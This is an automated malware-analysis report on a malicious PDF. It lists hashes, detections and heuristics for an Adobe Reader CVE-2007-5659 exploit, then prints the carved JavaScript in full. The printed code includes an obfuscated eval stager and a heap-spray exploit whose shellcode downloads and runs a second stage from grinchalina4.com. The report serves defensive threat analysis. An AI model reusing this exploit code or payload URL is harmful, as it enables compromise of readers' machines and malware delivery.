Malicious PDF — malware analysis report

Static analysis result for SHA-256 d3a942c86d2bb81c…

MALICIOUS

PDF

2.0 KB First seen: 2026-05-10
MD5: 0c7be1078185088fda228069d1acffe9 SHA-1: 7f3fd7dbd5e24726bd3f6c7767674a834410798c SHA-256: d3a942c86d2bb81c1aeab12a4f2852bdf24f804bdeb8d3500043a22474caa217
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

The PDF file contains embedded JavaScript that utilizes `eval()` and `unescape()` functions, indicating obfuscation. Critical heuristics identify the use of `Collab.collectEmailInfo` which is associated with CVE-2007-5659, a known exploit for PDF vulnerabilities. The presence of deobfuscated JavaScript streams further suggests malicious intent. The primary function of the embedded script appears to be the execution of further malicious code, likely a downloader for a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> S …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-35930 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35930
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grinchalina4.com/pek/l.php?i=4 Referenced by PDF JavaScript
🗂 Part of campaign: grinchalina4.com 4 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6D6 697 bytes
SHA-256: f23e505f155bfa9b9f356fa9fddf8d7fcafcc37fc2df3878e575e72c00c819d4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator;/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/var a/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/=/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/b/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/eval(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/unescape(/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/this.creator.replace(/z/igm,'%')/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/)/*fjudfs4FSf4ZX <POFRNFSdfnjrfnc> SaKsonifbdh*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2646 bytes
SHA-256: 0f73d8335aec0b73ab130e58956533bca57524fdeee81c2df5c75e9c2d275688
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}var mem_array = new Array();var cc = 0x0c0c0c0c;var addr = 0x400000;var payload = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u672f%u6972%u636e%u6168%u696c%u616e%u2e34%u6f63%u2f6d%u6570%u2f6b%u2e6c%u6870%u3f70%u3d69%u0034%u9000');var sc_len = payload.length * 2;var len = addr - (sc_len + 0x38);var yarsp = unescape('%u9090%u9090');yarsp = fix_it(yarsp, len);var count2 = (cc - 0x400000) / addr;for (var count = 0; count < count2; count ++ ){mem_array[count] = yarsp + payload;}var overflow = unescape('%u0c0c%u0c0c');while (overflow.length < 44952){overflow += overflow;}this.collabStore = Collab.collectEmailInfo({subj:'', msg:overflow});

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